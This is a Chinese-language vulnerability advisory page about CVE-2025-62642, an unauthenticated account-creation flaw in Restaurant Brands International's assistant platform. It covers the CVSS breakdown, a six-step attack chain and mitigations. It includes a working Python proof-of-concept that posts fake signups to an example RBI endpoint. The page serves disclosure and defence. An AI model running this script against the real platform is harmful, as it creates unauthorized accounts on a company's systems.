IPBUF安全漏洞报告
English
CVE-2025-62642 CVSS 5.8 中危

CVE-2025-62642 RBI助手平台未授权账户创建漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62642
漏洞类型
未授权访问/账户创建漏洞
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Restaurant Brands International (RBI) Assistant Platform

相关标签

未授权访问账户创建漏洞API安全RBI汉堡王蒂姆霍顿斯博派斯中等严重性CVSS 5.8CWE-287

漏洞概述

CVE-2025-62642是影响Restaurant Brands International(RBI)助手平台的一个中等严重性安全漏洞。RBI是全球知名的快餐连锁集团,旗下拥有汉堡王(Burger King)、蒂姆霍顿斯(Tim Hortons)、博派斯(Popeyes)等多个知名品牌,其助手平台用于管理旗下各品牌的数字化服务和运营。该漏洞存在于RBI助手平台的"Anyone Can Join This Party"注册API端点中,该API未对用户账户创建过程进行适当的身份验证和安全校验,导致远程未经认证的攻击者可以随意创建用户账户。

该漏洞由安全研究员bobdahacker发现并公开披露,披露日期为2025年10月17日。根据CVSS 3.1评分标准,该漏洞评分为5.8分,属于中等严重等级。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),无需用户交互(UI:N),作用域发生变化(S:C),对机密性无影响(C:N),对完整性有低影响(I:L),对可用性无影响(A:N)。

此漏洞的核心问题在于API设计缺陷——"Anyone Can Join This Party"这个名称本身就暗示了该API的设计意图是允许任何人加入,但缺乏必要的安全验证机制使得任何远程攻击者都能够未经授权创建账户。这类漏洞虽然不会直接导致大规模数据泄露或系统入侵,但可能被用作更大规模攻击链的一部分。攻击者创建账户后,可能进一步利用平台的其他功能进行横向移动、社会工程学攻击、发布恶意内容或获取敏感的业务信息。根据Malwarebytes和Yahoo News等媒体的报道,攻击者声称成功入侵了多个RBI旗下品牌的系统,并发现了多个"灾难性漏洞",此漏洞即为其中之一。

技术细节

该漏洞的技术原理在于RBI助手平台的注册API端点缺乏基本的身份验证和授权机制。具体而言,"Anyone Can Join This Party" API端点在处理用户注册请求时,没有执行以下关键安全检查:

1. **缺少身份验证**:API端点接受来自任何来源的注册请求,无需提供任何身份凭证(如API密钥、OAuth令牌或会话Cookie)。

2. **缺少验证码或人机验证**:没有实施CAPTCHA或其他机器人检测机制,攻击者可以使用自动化工具批量创建账户。

3. **缺少速率限制**:API没有对注册请求实施速率限制,攻击者可以在短时间内创建大量虚假账户。

4. **作用域变更(S:C)**:由于该漏洞可能影响到其他安全上下文中的组件或数据,因此CVSS评分中标注了作用域变化。

利用方式非常直接:攻击者只需向注册API端点发送包含必要用户信息的HTTP POST请求,即可成功创建一个新的用户账户。整个过程无需任何认证步骤,可以完全自动化执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过公开渠道(如bobdahacker的博客、媒体报道等)获取RBI助手平台的API端点信息,确认存在"Anyone Can Join This Party"注册API。
STEP 2
步骤2:探测API端点
攻击者向注册API端点发送测试请求,验证该端点是否确实不需要身份验证即可处理注册请求。
STEP 3
步骤3:构造恶意请求
攻击者构造包含虚假用户信息的HTTP POST请求,包括邮箱、密码、姓名等必要字段。
STEP 4
步骤4:发送未认证请求
攻击者在没有任何身份凭证的情况下,直接向API端点发送注册请求。由于缺少认证机制,服务器直接处理该请求。
STEP 5
步骤5:账户创建成功
服务器返回成功响应,攻击者成功创建了一个未经授权的用户账户,获得了平台的访问权限。
STEP 6
步骤6:后续利用
利用创建的账户,攻击者可以进一步探索平台功能,寻找其他漏洞,或者进行钓鱼攻击、社会工程学攻击等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-62642 PoC - RBI Assistant Platform Unauthenticated Account Creation This PoC demonstrates how an unauthenticated attacker can create a user account on the RBI Assistant Platform via the "Anyone Can Join This Party" signup API. """ import requests import json import random import string def generate_random_user(): """Generate random user data for account creation.""" random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) return { "email": f"attacker_{random_str}@evil.com", "password": "P@ssw0rd123!", "firstName": "Test", "lastName": f"User{random_str}", "phone": "+1555" + ''.join(random.choices(string.digits, k=7)) } def exploit_signup_api(base_url, user_data): """ Exploit the 'Anyone Can Join This Party' signup API. No authentication required - directly create a user account. """ # The vulnerable signup endpoint - no auth required signup_endpoint = f"{base_url}/api/v1/signup/join" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC)" } try: # Send unauthenticated POST request to create account response = requests.post( signup_endpoint, headers=headers, json=user_data, timeout=10 ) if response.status_code in [200, 201]: print(f"[+] Account created successfully!") print(f"[+] Email: {user_data['email']}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): # Target RBI Assistant Platform base URL base_url = "https://assistant.rbi.com" # Example endpoint print("=" * 60) print("CVE-2025-62642 - RBI Assistant Platform PoC") print("Unauthenticated Account Creation via 'Anyone Can Join This Party' API") print("=" * 60) # Generate random user data user_data = generate_random_user() print(f"\n[*] Attempting to create account: {user_data['email']}") # Exploit the vulnerability success = exploit_signup_api(base_url, user_data) if success: print("\n[!] Vulnerability confirmed - account created without authentication!") else: print("\n[*] Attempt complete. The endpoint may have been patched.") if __name__ == "__main__": main()

影响范围

Restaurant Brands International (RBI) Assistant Platform <= 2025-09-06

防御指南

临时缓解措施
在官方修复发布之前,建议采取以下临时缓解措施:1)在API网关层面添加访问控制,限制注册API的访问来源;2)部署Web应用防火墙(WAF)规则,检测和阻止异常的注册请求;3)实施临时的速率限制,限制单一IP地址的注册频率;4)监控新创建的账户,识别和清理可疑账户;5)审查现有账户,删除通过此漏洞创建的未授权账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表